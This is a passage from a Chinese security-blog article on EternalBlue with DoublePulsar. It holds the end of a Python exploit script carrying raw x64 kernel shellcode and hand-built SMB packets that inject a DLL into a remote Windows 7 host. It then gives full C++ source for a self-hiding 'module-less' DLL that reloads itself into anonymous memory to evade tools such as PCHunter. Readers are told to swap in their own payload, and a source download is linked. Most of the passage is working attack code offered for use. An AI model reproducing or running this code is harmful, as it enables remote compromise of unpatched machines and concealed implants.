xFF\xFF\xFF\xFF\xFF\xE9\x2E\xFC\xFF\xFF\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\x00\x6D\x73\x76\x63\x72\x74\x64\x2E\x64\x6C\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x52\x53\x48\x89\x7D\x00\x48\x89\xFA\x48\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x75\x63\x48\x89\xFA\x48\x83\xC2\x3C\x48\x31\xDB\x8B\x1A\x48\x01\xDF\x48\x89\x7D\x08\x48\x89\xFA\x48\x83\xC2\x00\x8B\x1A\x81\xFB\x50\x45\x00\x00\x75\x3F\x48\x89\xFA\x48\x83\xC2\x18\x66\x8B\x1A\x66\x81\xFB\x0B\x02\x75\x2E\x48\x89\xFA\x48\x83\xC2\x14\x48\x31\xDB\x66\x8B\x1A\x48\x89\xFA\x48\x83\xC2\x18\x48\x01\xDA\x48\x89\x55\x10\x48\x89\xFA\x48\x81\xC2\x88\x00\x00\x00\x48\x89\x55\x18\x48\x31\xC0\xEB\x06\x48\x31\xC0\x48\xF7\xD0\x5B\x5A\x5F\xC3\x57\x52\x53\x48\x8B\x7D\x08\x48\x83\xC7\x50\x48\x31\xDB\x8B\x1F\x48\x89\x5D\x50\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x17\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xD1\x48\x89\xDA\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x75\x25\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xDA\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x48\x8B\x76\x48\x48\x8B\x7D\x20\x48\x8B\x5D\x08\x48\x83\xC3\x54\x48\x31\xC9\x8B\x0B\xF3\xA4\x5E\x48\x8B\x7D\x08\x48\x83\xC7\x06\x48\x31\xDB\x66\x8B\x1F\x48\x31\xD2\x48\x39\xD3\x74\x4D\x48\xB8\x28\x00\x00\x00\x00\x00\x00\x00\x52\x48\xF7\xE2\x5A\x48\x03\x45\x10\x56\x48\x8B\x76\x48\x48\x89\xC1\x48\x83\xC1\x14\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD6\x48\x8B\x7D\x20\x48\x89\xC1\x48\x83\xC1\x0C\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD7\x48\x83\xC0\x10\x48\x31\xC9\x8B\x08\xF3\xA4\x5E\x48\xFF\xC2\xEB\xAE\x48\x31\xC0\xEB\x06\x48\x31\xC0\x48\xF7\xD0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x7D\x20\xE8\x6C\xFE\xFF\xFF\x48\x85\xC0\x0F\x85\x50\x01\x00\x00\xE8\x1F\x05\x00\x00\x48\x85\xC0\x0F\x85\x42\x01\x00\x00\x48\x8B\x7D\x00\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x83\xC2\x00\x48\x31\xDB\x8B\x1A\x48\x01\xFB\x48\x89\x5D\x30\x48\x39\xFB\x0F\x84\x0F\x01\x00\x00\x49\x89\xDA\x49\x83\xC2\x10\x48\x31\xC0\x41\x8B\x02\x48\x85\xC0\x0F\x84\xF9\x00\x00\x00\x48\x8B\x45\x00\x48\x89\xDA\x48\x83\xC2\x0C\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD0\x48\x89\xC1\x48\x83\xEC\x20\xFF\x56\x18\x48\x83\xC4\x20\x48\x85\xC0\x0F\x84\xC6\x00\x00\x00\x48\x89\x45\x48\x48\x89\xDA\x48\x83\xC2\x00\x48\x8B\x7D\x00\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD7\x48\x89\x7D\x38\x48\x89\xDA\x48\x83\xC2\x10\x48\x8B\x7D\x00\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD7\x48\x89\x7D\x40\x48\x8B\x55\x38\x48\x8B\x12\x48\x85\xD2\x74\x7D\x48\x89\xD7\x49\xBA\x00\x00\x00\x00\x00\x00\x00\x80\x4C\x21\xD7\x74\x0C\x48\x89\xD7\x48\x81\xE7\xFF\xFF\x00\x00\xEB\x0B\x48\x8B\x7D\x00\x48\x01\xD7\x48\x83\xC7\x02\x48\x89\xFA\x48\x8B\x4D\x48\x48\x83\xEC\x20\xFF\x56\x20\x48\x83\xC4\x20\x48\x85\xC0\x74\x46\x48\x8B\x55\x40\x48\x89\x02\xE8\x07\x06\x00\x00\x48\x85\xC0\x74\x0F\xE8\x97\x05\x00\x00\x48\x85\xC0\x75\x05\xE8\xF0\x04\x00\x00\x48\x8B\x55\x38\x48\x83\xC2\x08\x48\x89\x55\x38\x48\x8B\x55\x40\x48\x83\xC2\x08\x48\x89\x55\x40\xE9\x77\xFF\xFF\xFF\x48\x83\xC3\x14\xE9\xF9\xFE\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x55\x20\x48\x89\x17\x48\x31\xC0\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x55\x28\x48\x85\xD2\x0F\x84\xF5\x00\x00\x00\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x05\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x49\x89\xD2\x49\x83\xC2\x04\x48\x31\xFF\x41\x8B\x3A\x48\x85\xFF\x0F\x84\xC1\x00\x00\x00\x49\x89\xD2\x49\x83\xC2\x00\x48\x31\xFF\x41\x8B\x3A\x48\x85\xFF\x0F\x84\xA3\x00\x00\x00\x48\x8B\x55\x20\x48\x01\xFA\x49\x89\xD2\x49\x83\xC2\x04\x41\x8B\x3A\x48\x85\xFF\x0F\x84\x91\x00\x00\x00\x48\x83\xEF\x08\x48\xD1\xEF\x48\x31\xC9\x48\x39\xF9\x74\x65\x48\x89\xD3\x48\x83\xC3\x08\x48\x89\xC8\x48\xD1\xE0\x48\x01\xC3\x48\xC7\x45\x58\x00\x00\x00\x00\x66\x8B\x03\x66\x25\x00\xF0\x66\xC1\xE8\x0C\x66\x83\xF8\x00\x74\x37\x66\x83\xF8\x03\x74\x06\x66\x83\xF8\x0A\x75\x2B\x49\x89\xD2\x49\x83\xC2\x00\x41\x8B\x02\x48\x89\x45\x58\x48\x31\xC0\x66\x8B\x03\x66\x25\xFF\x0F\x48\x01\x45\x58\x48\x8B\x45\x20\x48\x03\x45\x58\x48\x8B\x5D\x28\x48\x01\x18\x48\xFF\xC1\xEB\x96\x49\x89\xD2\x49\x83\xC2\x04\x48\x31\xFF\x41\x8B\x3A\x48\x01\xFA\xE9\x64\xFF\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x03\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x89\xD1\x48\x83\xC1\x04\x48\x31\xC0\x8B\x01\x48\x85\xC0\x74\x36\x48\x89\xD1\x48\x83\xC1\x00\x48\x31\xFF\x8B\x39\x48\x85\xFF\x74\x25\x48\x8B\x4D\x20\x49\x89\xC8\x48\x01\xF9\x48\x89\x4D\x78\x48\x31\xD2\xBF\x0C\x00\x00\x00\xF7\xF7\x89\xC2\x48\x83\xEC\x20\xFF\x56\x38\x48\x83\xC4\x20\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x7D\x08\x48\x83\xC7\x06\x48\x31\xDB\x66\x8B\x1F\x48\x31\xD2\x48\x39\xD3\x0F\x84\xE6\x00\x00\x00\x48\xB8\x28\x00\x00\x00\x00\x00\x00\x00\x52\x48\xF7\xE2\x5A\x48\x03\x45\x10\x49\x89\xC2\x49\x83\xC2\x24\x48\x31\xFF\x41\x8B\x3A\xC7\x85\xA6\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x02\x0F\x85\x9F\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x40\x74\x0A\xC7\x85\xA6\x00\x00\x00\x02\x00\x00\x00\x49\xBA\x00\x00\x00\x80\x00\x00\x00\x00\x4C\x85\xD7\x74\x0A\xC7\x85\xA6\x00\x00\x00\x04\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x20\x74\x26\x83\xBD\xA6\x00\x00\x00\x02\x75\x0A\xC7\x85\xA6\x00\x00\x00\x20\x00\x00\x00\x83\xBD\xA6\x00\x00\x00\x04\x75\x0A\xC7\x85\xA6\x00\x00\x00\x40\x00\x00\x00\x48\x8B\x7D\x20\x48\x89\xC1\x48\x83\xC1\x0C\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD7\x49\x89\xC2\x49\x83\xC2\x08\x41\x8B\x0A\x52\x4C\x8D\x8D\xAA\x00\x00\x00\x4C\x8B\x85\xA6\x00\x00\x00\x48\x89\xCA\x48\x89\xF9\x48\x83\xEC\x20\xFF\x56\x30\x48\x83\xC4\x20\x5A\x48\x85\xC0\x74\x08\x48\xFF\xC2\xE9\x19\xFF\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x52\x57\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\xEB\x0C\x52\x57\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x45\x20\x4C\x8B\x55\x08\x49\x83\xC2\x28\x48\x31\xFF\x41\x8B\x3A\x48\x01\xF8\x49\xB8\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\xD0\x48\x83\xC4\x20\x48\x31\xC0\x5F\x5A\xC3\x48\x39\xEC\x0F\x8D\xAA\x00\x00\x00\x57\x56\x53\x48\x89\xE6\x48\x83\xC6\x0C\x55\x6A\x00\x48\x89\xE3\x51\x52\x48\x89\xE9\x48\x29\xF1\x48\x83\xF9\x08\x0F\x8C\x81\x00\x00\x00\x50\x52\x53\x48\xB8\x0F\x00\x00\x00\x00\x00\x00\x00\x48\x6B\xC0\x08\x48\x39\xC8\x7D\x03\x48\x89\xC1\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x89\xC8\x48\xBB\x08\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xFB\x48\xFF\xC8\x6A\x00\x48\x83\xF8\x00\x75\xF5\x48\x01\xCC\x5B\x5A\x58\x48\x89\xE5\x48\x89\xE7\x48\x29\xCF\x48\x89\xFC\xF3\xA4\x48\x89\x23\x48\x8B\x4B\xF8\x48\x8B\x53\xF0\x48\xC7\x43\xF8\x00\x00\x00\x00\x48\xC7\x43\xF0\x00\x00\x00\x00\x48\xC7\x04\x24\xFF\xFF\xFF\xFF\x48\xBE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xFF\xE0\x59\x59\x5D\x5D\x5B\x5E\x5F\xFF\xE0\x48\x89\xE1\x48\x2B\x4D\x08\x48\x83\xE9\x04\x48\x89\xEC\x48\x83\xC4\x0C\x5D\x5B\x5E\x5F\x5A\x48\x01\xCC\xFF\xE2\x00\x00\x00\x00\x57\x52\x53\x51\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x0C\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x83\xC2\x04\x48\x31\xDB\x8B\x1A\x48\xC1\xEB\x02\x48\xB8\x0F\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE3\x48\x89\x45\x68\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xC2\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x74\x7C\x48\x89\x45\x60\x48\x8B\x46\x58\x48\x8B\xBD\xAE\x00\x00\x00\x48\x83\xC7\x03\x48\x89\x07\x48\x8B\x46\x68\x48\xA9\x00\x00\x00\x00\x74\x2E\x48\x8B\x85\xBE\x00\x00\x00\x48\x8B\x9D\xC6\x00\x00\x00\x48\x89\x03\x48\x8B\x5E\x60\x48\x8B\xBD\xC6\x00\x00\x00\x48\x29\xDF\x48\x8B\x9D\xB6\x00\x00\x00\x48\xFF\xC3\x48\x89\x3B\xEB\x14\x48\x8B\x85\xBE\x00\x00\x00\x48\x8B\xBD\xB6\x00\x00\x00\x48\xFF\xC7\x48\x89\x07\x48\x8B\x46\x68\x48\xA9\x01\x00\x00\x00\x74\x14\x48\x8B\xBD\xB6\x00\x00\x00\xC6\x07\xBF\xEB\x08\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x50\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x89\xEE\x48\x81\xC6\x80\x00\x00\x00\x48\xB9\x0F\x00\x00\x00\x00\x00\x00\x00\xF3\xA4\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x00\x48\xFF\xC7\x48\x8B\x55\x40\x48\x8B\x1A\x48\x89\x1F\x48\x8B\xB5\xCE\x00\x00\x00\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x0A\x48\xFF\xC7\x48\x83\xC7\x08\x48\x29\xFE\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x0A\x48\xFF\xC7\x48\x89\x37\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x8B\x75\x40\x48\x89\x3E\x48\x8B\x45\x70\x48\x83\xC0\x0F\x48\x89\x45\x70\x58\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\xEB\x4D\x48\x8B\x7D\x00\x48\x89\xDA\x48\x83\xC2\x0C\x48\x03\x3A\x48\x89\xE9\x48\x81\xC1\x8F\x00\x00\x00\x48\x89\xFA\x48\x83\xEC\x20\xFF\x56\x28\x48\x83\xC4\x20\x48\x85\xC0\x74\x22\x48\x89\xE9\x48\x81\xC1\x9A\x00\x00\x00\x48\x89\xFA\x48\x83\xEC\x20\xFF\x56\x28\x48\x83\xC4\x20\x48\x85\xC0\x74\x05\x48\x31\xC0\xEB\x0C\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x48\x8B\x7D\x48\x48\x89\xFA\x48\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x0F\x85\x9B\x00\x00\x00\x48\x89\xFA\x48\x83\xC2\x3C\x48\x31\xDB\x8B\x1A\x48\x01\xDF\x48\x89\xFA\x48\x83\xC2\x00\x48\x31\xDB\x8B\x1A\x48\x81\xFB\x50\x45\x00\x00\x75\x77\x48\x89\xFE\x48\x83\xC6\x14\x48\x31\xDB\x66\x8B\x1E\x48\x89\xFE\x48\x83\xC6\x18\x48\x01\xDE\x48\x89\xFB\x48\x83\xC3\x06\x48\x31\xC9\x66\x8B\x0B\x48\x31\xD2\x48\x89\xF3\x48\x83\xC3\x0C\x48\x8B\x7D\x48\x4D\x31\xD2\x44\x8B\x13\x4C\x01\xD7\x48\x39\xF8\x7C\x2B\x48\x89\xF3\x48\x83\xC3\x08\x4D\x31\xD2\x44\x8B\x13\x4C\x01\xD7\x48\x39\xF8\x7D\x16\x49\x89\xF2\x49\x83\xC2\x24\x48\x31\xDB\x41\x8B\x1A\x48\xF7\xC3\x00\x00\x00\x20\x75\x11\x48\x83\xC6\x28\x48\xFF\xC2\x48\x39\xCA\x7C\xB0\x48\x31\xC0\xEB\x0C\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\xEB\x4D\x90\x90\x90\x90\x90\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1E\x00\x00\x00\x21\x0D\x00\x00\x4E\x0D\x00\x00\x00\x09\x00\x00\x00\x5E\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x58\x48\x8B\x60\xC6\x48\x8B\x68\xCE\x48\x8B\x70\xD6\x48\x8D\x0D\xCA\xFF\xFF\xFF\x48\x83\xEC\x20\xFF\x56\x40\x48\x83\xC4\x20\xE9\x11\x01\x00\x00\x4C\x89\xC6\xE9\x09\x01\x00\x00\x54\x55\x51\x52\x53\x56\x57\x48\x31\xDB\x65\x48\x8B\x5B\x30\x48\x8B\x5B\x60\x48\x8B\x5B\x18\x48\x8B\x5B\x10\x48\x8B\x73\x60\x48\x85\xF6\x0F\x84\xA6\x00\x00\x00\x48\x8B\x6B\x30\x48\x85\xED\x0F\x84\x99\x00\x00\x00\x48\x31\xD2\xC1\xC2\x05\x66\xAD\x0C\x20\x30\xC2\x66\x83\x3E\x00\x75\xF1\x48\x8B\x1B\x48\x3B\x54\x24\x20\x75\xCA\x48\x89\xEF\x66\x81\x3F\x4D\x5A\x75\x73\x8B\x7D\x3C\x48\x01\xEF\x81\x3F\x50\x45\x00\x00\x75\x65\x48\x89\xF9\x48\x83\xC1\x18\x48\x85\xC9\x74\x59\x48\x31\xD2\x8B\xBF\x88\x00\x00\x00\x48\x01\xEF\x8B\x57\x1C\x48\x01\xEA\x8B\x5F\x20\x48\x01\xEB\x8B\x7F\x24\x48\x01\xEF\x49\x89\xD1\x8B\x33\x48\x01\xEE\x48\x31\xD2\xC1\xC2\x05\xAC\x0C\x20\x30\xC2\x80\x3E\x00\x75\xF3\x48\x3B\x54\x24\x18\x74\x0C\x48\x83\xC7\x02\x48\x83\xC3\x04\xE2\xDA\xEB\x10\x48\x0F\xB7\x17\x48\xC1\xE2\x02\x4C\x01\xCA\x8B\x02\x48\x01\xE8\x5F\x5E\x5B\x5A\x59\x5D\x5C\xC3\x06\xDF\xB0\x2C\x51\x33\x8A\x8D\xA4\x00\x78\x95\x27\x85\x00\x3B\x00\xA1\xB4\x00\xDB\xB6\xB6\xE5\x00\xC4\x22\x07\xE2\x00\x82\x5A\x15\x4A\x00\x02\x55\xF0\xD6\xDE\x79\x03\xAA\x86\x00\x0D\xC4\x8A\xDC\x00\x00\x48\x8B\x26\x50\x48\x31\xC0\x48\x8D\x0D\x33\x00\x00\x00\x48\x8D\x1D\x2C\x00\x00\x00\x48\x29\xD9\x48\x89\xDF\xF3\xAA\x48\x8D\x0D\x0D\x00\x00\x00\x48\x8D\x1D\x96\xF0\xFF\xFF\x48\x29\xD9\x48\x89\xDF\xF3\xAA\x58\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5E\x5F\x5D\x5B\xC3\xEB\x08\x00\x14\x00\x00\x01\x00\x00\x00" f = open(dllfile,"rb") dll_hex = f.read() f.close() #dll_hex += "\x00"*3 array , ncount = make_smb_request(kernel_shellcode + dll_hex,key) for i in range(ncount): #print binascii.b2a_hex(array[i]) print i+4,",len:",len(array[i]) s.sendall(array[i]) data = s.recv(1024) print i+4,"--->",data #end1 step_7_data ="\x00\x00\x00\x23\xFF\x53\x4D\x42\x71\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x00\x00\x00" s.sendall(step_7_data) data = s.recv(1024) print 7,data #end2 step_8_data ="\x00\x00\x00\x27\xFF\x53\x4D\x42\x74\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x02\xFF\x00\x27\x00\x00\x00" s.sendall(step_8_data) data = s.recv(1024) print 8,data print "------Inject dll done!------" s.close() |
0x5: 永恒之蓝 + 自隐藏模块注入
我们写的win7下的exploit功能就算基本完成了,但是如果要想完成一次成熟的攻击, 不可能注入了进程之后进程又崩掉了,dll注入是和权限有直接关系的,Doubleplusar执行后是nt权限,可以采用无模块注入来注入到受害者的机器测试后发现同时也解决进程崩掉的问题这里顺便提一下无模块注入中的一些知识。关于dll注入和 x86 x64 进程互写互读的知识有兴趣可以去看看. 这里介绍一种关于模块自隐藏的知识
:DllMain第一次执行时,申请一块内存把DLL文件进行模拟加载,然后再调用模拟加载PE的DllMain,第二次的DllMain就在非模块的内存中执行了。DLL自卸载说起来也不难,是用MOMODALMARK标记DllMain的返回值 类似于MemoryLoadLibrary 的功能
上代码:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
|
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include "MemoryLoad.h"//创建一个进程互斥量 防止无模块DLL多次注入BOOL IsMutexExist(char* pstrMutex){ BOOL bRet = FALSE; HANDLE hMutex = NULL; hMutex = CreateMutexA(NULL, TRUE, pstrMutex); if (hMutex) { if (GetLastError() == ERROR_ALREADY_EXISTS) bRet = TRUE; ReleaseMutex(hMutex); CloseHandle(hMutex); } else { bRet = TRUE; } return bRet;}//调用LoadPE.cpp里的函数,自行处理PE加载,把DLL在新申请的内存加载起来,并执行入口函数void LaunchNoModule(){ LaunchDll((char*)dllModuleName, NO_MODULE_MARK);}unsigned int __stdcall NoModuleThread(void* lpParameter){ while (TRUE) { Sleep(1000); OutputDebugString(L"Test by IronMan."); } return TRUE;}//调用LoadPE.cpp里的函数,自行处理PE加载,把DLL在新申请的内存加载起来,并执行入口函数void NoModuleEntryCall(HMODULE hModule, DWORD ul_reason_for_call, char* pstrModuleName){ TCHAR szMutexName[MAX_PATH]; wsprintf(szMutexName, L"Test 15pb bingo! %d", GetCurrentProcessId()); g_hMutex = CreateMutex(NULL, TRUE, szMutexName); TCHAR szLog[MAX_PATH] = { 0 }; wsprintf(szLog, L"NoModuleEntryCall Module Start:%p", hModule); OutputDebugString(szLog); //下面为正常Dll功能代码 CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)NoModuleThread, NULL, NULL, NULL);}BOOL ChooseSub(HMODULE hModule, DWORD ul_reason_for_call, char* pstrModuleName){ BOOL bRet = FALSE; GetModuleFileNameA(NULL, exeModuleName, MAX_PATH); if (ul_reason_for_call == NO_MODULE_MARK) // strcpy((char*)dllModuleName,pstrModuleName); int a = 1; else GetModuleFileName(hModule, dllModuleName, MAX_PATH); if (ul_reason_for_call == NO_MODULE_MARK) { NoModuleEntryCall(hModule, DLL_PROCESS_ATTACH, 0); bRet = TRUE; } else { LaunchNoModule(); bRet = FALSE; } return bRet;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ BOOL bRet = FALSE; if (ul_reason_for_call == DLL_PROCESS_ATTACH || ul_reason_for_call == NO_MODULE_MARK) { TCHAR szMutexName[MAX_PATH]; wsprintf(szMutexName, L"yanshier2013nomoduleinject%d", GetCurrentProcessId()); if (IsMutexExist((char*)szMutexName)) return FALSE; bRet = ChooseSub(hModule, ul_reason_for_call, (char *)lpReserved); } else { if (ul_reason_for_call == DLL_PROCESS_DETACH) { ReleaseMutex(g_hMutex); CloseHandle(g_hMutex); bRet = TRUE; } } return bRet;} |
我注入了NTFSinfo这个程序.用PChunter是看不到自己注入的模块的
每隔一秒用 OutputString打印出一句 Test by IronMan. 需要的话直接在NoModuleThread替换功能就可以了。
自卸载dll源码编译 vs2010 vs2013
源码打包地址: http://pan.baidu.com/s/1miObL00
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4201.html



















暂无评论内容